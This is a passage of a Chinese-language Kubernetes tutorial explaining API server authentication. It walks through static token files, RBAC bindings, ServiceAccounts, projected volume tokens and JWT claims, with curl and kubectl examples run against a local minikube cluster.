&lt;li&gt;对 API 端点的访问被禁止了（返回码 &lt;code&gt;403&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;用户身份被识别为 &lt;code&gt;system:anonymous&lt;/code&gt;，这个用户无权列出命名空间&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上面的操作揭示了 &lt;code&gt;kube-apiserver&lt;/code&gt; 的部分工作机制：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先识别请求用户的身份&lt;/li&gt;
&lt;li&gt;然后决策这个用户是否有权完成操作&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;正式一点的说法分别叫认证（也叫 AuthN）和鉴权（也叫 AuthZ）：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;发起 &lt;code&gt;curl&lt;/code&gt; 请求时，流量触达 Kubernetes API Server&lt;/li&gt;
&lt;li&gt;在 API Server 里，认证模块会首先收到请求。如果认证失败，请求就会被标识为 &lt;code&gt;anonymous&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;认证之后就进入鉴权环节、 匿名访问没有权限，所以鉴权组件拒绝请求，并返回 &lt;code&gt;403&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;再次检视刚才的 &lt;code&gt;curl&lt;/code&gt; 请求：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;因为没有提供用户凭据，Kubernetes 认证模块会给请求标记为匿名请求&lt;/li&gt;
&lt;li&gt;根据 Kubernetes API Server 配置，可能会收到一个 &lt;a href=&#34;https://stackoverflow.com/questions/3297048/403-forbidden-vs-401-unauthorized-http-responses/6937030#6937030&#34; target=&#34;_blank&#34;&gt;401 Unauthorized 代码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 鉴权模块会检查 &lt;code&gt;system:anonymous&lt;/code&gt; 是否具有列出命名空间的权限，如果没有，就返回 &lt;code&gt;403 Forbidden&lt;/code&gt; 错误信息&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;例如 Kubelet 需要连接到 Kubernetes API 来报告状态：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubelet.png&#34; alt=&#34;kubelet&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用请求可能使用 Token、证书或者外部管理的认证来提供身份。认证模块是整个系统的第一个门槛。&lt;/p&gt;

&lt;p&gt;Kubernetes 的认证模块提供的几个重点能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;同时支持人和非人用户&lt;/li&gt;
&lt;li&gt;同时支持内部用户（Kubernetes 负责创建和管理的账号）和外部用户（例如集群外部署的应用）&lt;/li&gt;
&lt;li&gt;支持标准的认证策略，例如静态 Token、Bearer Token、X509 认证、OIDC 等&lt;/li&gt;
&lt;li&gt;同时支持多种认证策略&lt;/li&gt;
&lt;li&gt;可以加入或者移除认证策略&lt;/li&gt;
&lt;li&gt;还可以授权匿名用户访问 API&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下面我们会走进观察认证模块的工作过程。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文聚焦于认证领域。要了解更多鉴权内容，可以阅读 &lt;a href=&#34;https://learnk8s.io/rbac-kubernetes&#34; target=&#34;_blank&#34;&gt;Limiting access to Kubernetes resources with RBAC&lt;/a&gt; 一文。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;kubernetes-api-的内外部用户区别&#34;&gt;Kubernetes API 的内外部用户区别&lt;/h2&gt;

&lt;p&gt;Kubernetes API 支持两种 API 用户：内部和外部。&lt;/p&gt;

&lt;p&gt;这两个东西有什么不同呢？&lt;/p&gt;

&lt;p&gt;如果用户是集群的内部用户，我们需要给它定义一个规范（例如数据模型）；而外部用户的规范是已经存在的。所以我们将用户分成下面几类：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes 管理的用户&lt;/strong&gt;：Kubernetes 创建，并由集群内应用使用的用户账号。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非 Kubernetes 管理用户&lt;/strong&gt;：在 Kubernetes 集群外的用户，例如：

&lt;ul&gt;
&lt;li&gt;集群管理员发放的静态 Token 或证书&lt;/li&gt;
&lt;li&gt;使用 Keystone、Google Account 以及 LDAP 等进行认证的用户&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;授权外部用户访问集群&#34;&gt;授权外部用户访问集群&lt;/h2&gt;

&lt;p&gt;假设有如下场景：使用 Bearer token 访问 Kubernetes。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;curl --cacert ${CACERT} \
  --header &amp;quot;Authorization: Bearer &amp;lt;my token&amp;gt;&amp;quot; \
  -X GET ${APISERVER}/api
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes API Server 是如何将 Token 识别为身份的？&lt;/p&gt;

&lt;p&gt;Kubernetes 并不管理外部用户，所以应该有一种机制来从外部资源中获取信息（例如用户名和用户组）。&lt;/p&gt;

&lt;p&gt;换句话说，Kubernetes API 接到了带有 Token 的请求后，就应该能够提取信息并进行后续的决策了。&lt;/p&gt;

&lt;p&gt;下面用例子来解释一下这个场景。&lt;/p&gt;

&lt;p&gt;创建一个 CSV 文件，其中包含了用户、Token 和用户组：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;token1,arthur,1,&amp;quot;admin,dev,qa&amp;quot;
token2,daniele,2,dev
token3,errge,3,qa
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;文件格式为 &lt;code&gt;token, user, uid, groups&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;用 &lt;code&gt;--token-auth-file&lt;/code&gt; 参数启动一个 minikube 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ mkdir -p ~/.minikube/files/etc/ca-certificates
$ cd ~/.minikube/files/etc/ca-certificates
$ cat &amp;lt;&amp;lt; | tokens.csv
token1,arthur,1,&amp;quot;admin,dev,qa&amp;quot;
token2,daniele,2,dev
token3,errge,3,qa
EOF
$ minikube start \
  --extra-config=apiserver.token-auth-file=/etc/ca-certificates/tokens.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了发送请求给 Kubernetes API，需要集群的 IP 地址以及证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubectl config view
apiVersion: v1
clusters:
- cluster:
    certificate-authority: /Users/learnk8s/.minikube/ca.crt
    extensions:
    - extension:
        last-update: Fri, 10 Jun 2022 12:21:45 +08
        provider: minikube.sigs.k8s.io
        version: v1.25.2
      name: cluster_info
    server: https://127.0.0.1:57761
  name: minikube
# truncated output
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来向集群发送一个请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://127.0.0.1:57761
$ export CACERT=/Users/learnk8s/.minikube/ca.crt
$ curl --cacert ${CACERT} -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {},
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;forbidden: User \&amp;quot;system:anonymous\&amp;quot; cannot get path \&amp;quot;/\&amp;quot;&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: {},
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;响应信息表明，我们用匿名身份访问了 API，并且没有任何权限。&lt;/p&gt;

&lt;p&gt;接下来用 &lt;code&gt;token1&lt;/code&gt;（来自于 &lt;code&gt;tokens.csv&lt;/code&gt; 文件中的用户 &lt;code&gt;arthur&lt;/code&gt;）发起请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://127.0.0.1:57761
$ export CACERT=/Users/learnk8s/.minikube/ca.crt
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer token1&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {},
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;forbidden: User \&amp;quot;arthur\&amp;quot; cannot get path \&amp;quot;/\&amp;quot;&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: {},
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如上所见，Kubernetes 能够识别出请求来自于 &lt;code&gt;Arthur&lt;/code&gt;。发生了什么呢？&lt;code&gt;tokens.csv&lt;/code&gt; 和 &lt;code&gt;--token-auth-file&lt;/code&gt; 参数起了什么作用？&lt;strong&gt;Kubernetes 有多种认证插件，现在我们使用的是静态 Token 文件&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;重放一下刚才的过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;API Server 启动后，读取 CSV 文件，把用户数据保存在内存里&lt;/li&gt;
&lt;li&gt;用 Token 向 API Server 发起请求&lt;/li&gt;
&lt;li&gt;API Server 用 Token 找到匹配的用户，并解出剩余的用户信息（例如用户、用户组等）&lt;/li&gt;
&lt;li&gt;这些详细信息会被包含在请求中，传递给鉴权模块&lt;/li&gt;
&lt;li&gt;当前的鉴权模块（例如 RBAC）找不到 Arthur 的权限，拒绝请求。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;创建一个 &lt;code&gt;ClusterRoleBinding&lt;/code&gt; 就能快速修复这个问题：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin
subjects:
- kind: User
  name: arthur
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用下面的命令把对象提交给集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f admin-binding.yaml
clusterrolebinding.rbac.authorization.k8s.io/admin created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次执行命令就会成功了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;curl --cacert ${CACERT} \
  --header &amp;quot;Authorization: Bearer token1&amp;quot; \
  -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面向 &lt;code&gt;kube-apiserver&lt;/code&gt; 发送了一个 HTTP 请求，认证模块会尝试&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/&#34; target=&#34;_blank&#34;&gt;将如下属性附加到请求之中&lt;/a&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Username&lt;/code&gt;：字符串，例如 &lt;code&gt;kube-admin&lt;/code&gt;、&lt;code&gt;jane@example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UID&lt;/code&gt;：字符串，相对用户名来说，UID 是一个更稳定的属性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Groups&lt;/code&gt;：例如 &lt;code&gt;system:masters&lt;/code&gt;、&lt;code&gt;devops-team&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;附加字段：可能对认证过程有帮助的一些其他字段&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;请求上下文中加入这些信息之后，后续的 Kubernetes API 组件都能读取这些信息，这些信息对认证插件来说是透明的。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;可以使用 Token 向集群发起一个认证请求&lt;/li&gt;
&lt;li&gt;Kubernetes 把请求 Token 进行匹配。这是一个外部用户，因此需要依赖一个外部的用户管理系统（这里指的就是那个 CSV 文件）&lt;/li&gt;
&lt;li&gt;拿到用户名、ID、用户组等信息之后，这些信息会被传递给鉴权模块进行校验&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;前面的例子中为用户名创建了一个 &lt;code&gt;ClusterRoleBinding&lt;/code&gt;。其实 CSV 中为 &lt;code&gt;Arthur&lt;/code&gt; 设置了三个用户组（&lt;code&gt;admin&lt;/code&gt;、&lt;code&gt;dev&lt;/code&gt;、&lt;code&gt;qa&lt;/code&gt;），因此也可以写成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin
subjects:
- kind: Group
  name: admin
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;静态 Token 是一种简易的认证机制，集群管理员可以随意生成 Token 并指派给用户。但是这种方式有一定弊端：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;必须知道所有的用户&lt;/li&gt;
&lt;li&gt;编辑 &lt;code&gt;tokens.csv&lt;/code&gt; 文件需要重启 API Server&lt;/li&gt;
&lt;li&gt;Token 不会过期&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Kubernetes 还提供了其它几种外部认证机制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;X.509 客户端证书&lt;/li&gt;
&lt;li&gt;OpenID&lt;/li&gt;
&lt;li&gt;认证代理&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每种方式都有各自的利弊，但是所有的工作流都跟静态 Token 类似：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;身份被保存在集群之外&lt;/li&gt;
&lt;li&gt;用户使用 Token 向 API Server 发起请求&lt;/li&gt;
&lt;li&gt;Kubernetes 向外部认证源（例如 CSV 文件、认证服务、LDAP 等）请求检查 Token 的有效性&lt;/li&gt;
&lt;li&gt;如果认证有效，Kubernetes 会拿到用户名和其他元数据&lt;/li&gt;
&lt;li&gt;鉴权策略会使用这些数据来判断用户是否具备访问该资源的权限&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;那么如何选择认证插件呢？实际上可以同时启用多个认证插件，Kubernetes 会逐个调用每个插件，直到成功为止。&lt;/p&gt;

&lt;p&gt;如果所有插件都没能成功，则请求会被标记为未认证或者是匿名访问。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;认证不只是一个组件，而是由多个组件协同完成的&lt;/li&gt;
&lt;li&gt;收到请求之后，插件会顺序执行，如果所有插件都失败了，请求就会被拒绝&lt;/li&gt;
&lt;li&gt;如果成功，请求会被传递给鉴权模块&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;现在已经了解了外部用户的问题，接下来看看 Kubernetes 如何管理内部用户。&lt;/p&gt;

&lt;h2 id=&#34;用-serviceaccount-管理-kubernetes-内部认证&#34;&gt;用 ServiceAccount 管理 Kubernetes 内部认证&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中，内部用户使用 Service Account 的概念来表达。&lt;/p&gt;

&lt;p&gt;这些身份通过 &lt;code&gt;kube-apiserver&lt;/code&gt; 创建，并分配给应用。&lt;/p&gt;

&lt;p&gt;Service Account 会有相关联的 Token，应用向 &lt;code&gt;kube-apiserver&lt;/code&gt; 发起请求时，会共享这个 Token 用于认证。&lt;/p&gt;

&lt;p&gt;观察一下 Service Account 的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create serviceaccount test
serviceaccount/test created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个资源的具体内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get serviceaccount test -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test
secrets:
- name: test-token-6tmx7
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果集群版本高于 &lt;code&gt;1.24&lt;/code&gt;，输出会有不同：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get serviceaccount test -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;差距很明显，只有老版本集群中会有 &lt;code&gt;secrets&lt;/code&gt; 字段。&lt;/p&gt;

&lt;p&gt;这个 Secret 包含了必要的 Token，API Server 可以用 Token 对请求进行认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get secret test-token-6tmx7
apiVersion: v1
kind: Secret
metadata:
  name: test-token-6tmx7
type: kubernetes.io/service-account-token
data:
  ca.crt: LS0tLS1CR…
  namespace: ZGVmYXVs…
  token: ZXlKaGJHY2…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面的 YAML 代码把这个身份分配给 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  serviceAccount: test
  containers:
  - image: nginx
    name: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群，创建 Pod 并进入他的 Bash：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f nginx.yaml
pod/nginx created
$ kubectl exec -ti nginx -- bash
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发起请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://kubernetes.default.svc
$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export CACERT=${SERVICEACCOUNT}/ca.crt
$ export TOKEN=&amp;quot;token here&amp;quot;
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer ${TOKEN}&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用成功了。&lt;/p&gt;

&lt;p&gt;Kubernetes 1.24 以后的版本不再创建 Secret，那怎么获取 Token 呢？&lt;/p&gt;

&lt;h2 id=&#34;为-service-account-生成临时认证&#34;&gt;为 Service Account 生成临时认证&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;新版本的 Kubernetes 中，Kubelet 负责从 API Server 申请临时 Token。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Token 格式类似 Secret 对象中的 Token，但是有个很大的不同是——他会过期。&lt;/p&gt;

&lt;p&gt;这个 Token 不会被注入到 Secret 里面，而是使用 &lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/projected-volumes/&#34; target=&#34;_blank&#34;&gt;Projected Volume&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 1.24 中重复一下刚才的测试。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create serviceaccount test
serviceaccount/test created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  serviceAccount: test
  containers:
  - name: nginx
    image: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 Pod 提交到集群上：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f nginx.yaml
pod/nginx created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先确认一下，集群里没有 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get secrets
No resources found in default namespace.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后进入 Pod Shell：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -ti nginx -- bash
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下 Token 的加载情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;$ export APISERVER=https://kubernetes.default.svc
$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export CACERT=${SERVICEACCOUNT}/ca.crt
$  export TOKEN=$(cat ${SERVICEACCOUNT}/token)
$ curl --cacert ${CACERT} --header &amp;quot;Authorization: Bearer ${TOKEN}&amp;quot; -X GET ${APISERVER}/api
{
  &amp;quot;kind&amp;quot;: &amp;quot;APIVersions&amp;quot;,
  &amp;quot;versions&amp;quot;: [
    &amp;quot;v1&amp;quot;
  ],
  &amp;quot;serverAddressByClientCIDRs&amp;quot;: [
    {
      &amp;quot;clientCIDR&amp;quot;: &amp;quot;0.0.0.0/0&amp;quot;,
      &amp;quot;serverAddress&amp;quot;: &amp;quot;192.168.49.2:8443&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还是能成功，这个 Token 是怎么加载的？我们来看一下 Pod 的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get pod nginx -o yaml
apiVersion: v1
kind: Pod
  name: nginx
spec:
  containers:
  - image: nginx
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-69mqr
      readOnly: true
  serviceAccount: test
  volumes:
  - name: kube-api-access-69mqr
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;内容有点多，解析一下。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;这里声明了一个 &lt;code&gt;kube-api-access-69mqr&lt;/code&gt; 卷&lt;/li&gt;
&lt;li&gt;这个卷用只读的方式加载到了 &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个卷用的是 &lt;code&gt;projected&lt;/code&gt; 类型。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected 卷能把多个卷聚合在一起。但并不是所有类型的卷都能够绑定到 Projected 卷里面，目前仅限于 &lt;code&gt;downwardAPI&lt;/code&gt;、&lt;code&gt;configMap&lt;/code&gt; 以及 &lt;code&gt;serviceAccountToken&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在这个例子里，Projected 卷的组成成分包括：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;serviceAccountToken&lt;/code&gt; 卷被加载到 &lt;code&gt;token&lt;/code&gt; 路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configMap&lt;/code&gt; 卷&lt;/li&gt;
&lt;li&gt;&lt;code&gt;downwardAPI&lt;/code&gt; 卷被加载到 &lt;code&gt;namespace&lt;/code&gt; 路径&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这些卷都是干嘛的？&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/projected-volumes/#serviceaccounttoken&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;serviceAccountToken&lt;/code&gt;&lt;/a&gt; 是一种特别的卷，从当前的 Service Account 中加载 Secret，并填充到 &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt; 文件中。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ConfigMap&lt;/code&gt; 卷会把 &lt;code&gt;ConfigMap&lt;/code&gt; 中的每个 Key 加载成目录里面的文件。&lt;/p&gt;

&lt;p&gt;这个文件的的内容就是对应 Key 的 Value（如果键值对的内容是 &lt;code&gt;replicas:1&lt;/code&gt;，就会表达为一个命名为 &lt;code&gt;replicas&lt;/code&gt; 的文件，其内容是 &lt;code&gt;1&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;本例中，ConfigMap 卷中加载了调用 API 所必须的 &lt;code&gt;ca.crt&lt;/code&gt; 证书。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/volumes/#downwardapi&#34; target=&#34;_blank&#34;&gt;downwardAPI&lt;/a&gt; 卷是一种特殊类型，使用 &lt;a href=&#34;https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/#the-downward-api&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;downwardAPI&lt;/code&gt;&lt;/a&gt;，将 Pod 信息开放给容器。&lt;/p&gt;

&lt;p&gt;在这个例子里，用这种方法将当前命名空间用文件的方式暴露给容器。&lt;/p&gt;

&lt;p&gt;可以在 Pod 里验证一下这个能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
$ echo $NAMESPACE
default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;知道了 Token 的加载方式之后，那为什么 Kubernetes 要放弃 Secret 改用这种方式呢？&lt;/p&gt;

&lt;p&gt;主要原因是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Secret 中的 Token 永不过期&lt;/li&gt;
&lt;li&gt;创建 Service Account 的时候，会异步创建一个带令牌的 Secret&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;但是如果你只需要 Token，却不需要 Pod 呢？是否可以不加载 Projected Volume 就拿到 Token 数据呢？kubectl 有个新命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create token test
eyJhbGciOiJSUzI1NiIsImtpZCI6ImctMHJNO…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个 Token 是临时的，和 Kubelet 加载到 Pod 里面的 Token 是一样的。&lt;/p&gt;

&lt;p&gt;重复执行命令会看到不同的结果，那么这个 Token 只是个长字符串吗？&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected Servivce Account Token 是个签了名的 JWT Token&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以把这个字符串复制到 &lt;a href=&#34;https://jwt.io&#34; target=&#34;_blank&#34;&gt;jwt.io&lt;/a&gt; 网站上，处理之后的输出内容结构如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Header 描述了 Token 的签名方式&lt;/li&gt;
&lt;li&gt;Payload 就是 Token 中的真实数据&lt;/li&gt;
&lt;li&gt;Signature 用于校验 Token 是否被修改&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/token.png&#34; alt=&#34;token&#34; /&gt;&lt;/p&gt;

&lt;p&gt;观察一下这个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1655083796,
  &amp;quot;iat&amp;quot;: 1655080196,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
  &amp;quot;kubernetes.io&amp;quot;: {
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;serviceaccount&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;test&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;6af2abe9-d8d8-4b8a-9bb5-3cc96442b322&amp;quot;
    }
  },
  &amp;quot;nbf&amp;quot;: 1655080196,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的字段值得讨论：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2&#34; target=&#34;_blank&#34;&gt;sub&lt;/a&gt;：主体。本例中的主体是存在于缺省命名空间中的名为 &lt;code&gt;test&lt;/code&gt; 的 Service Account。&lt;/li&gt;
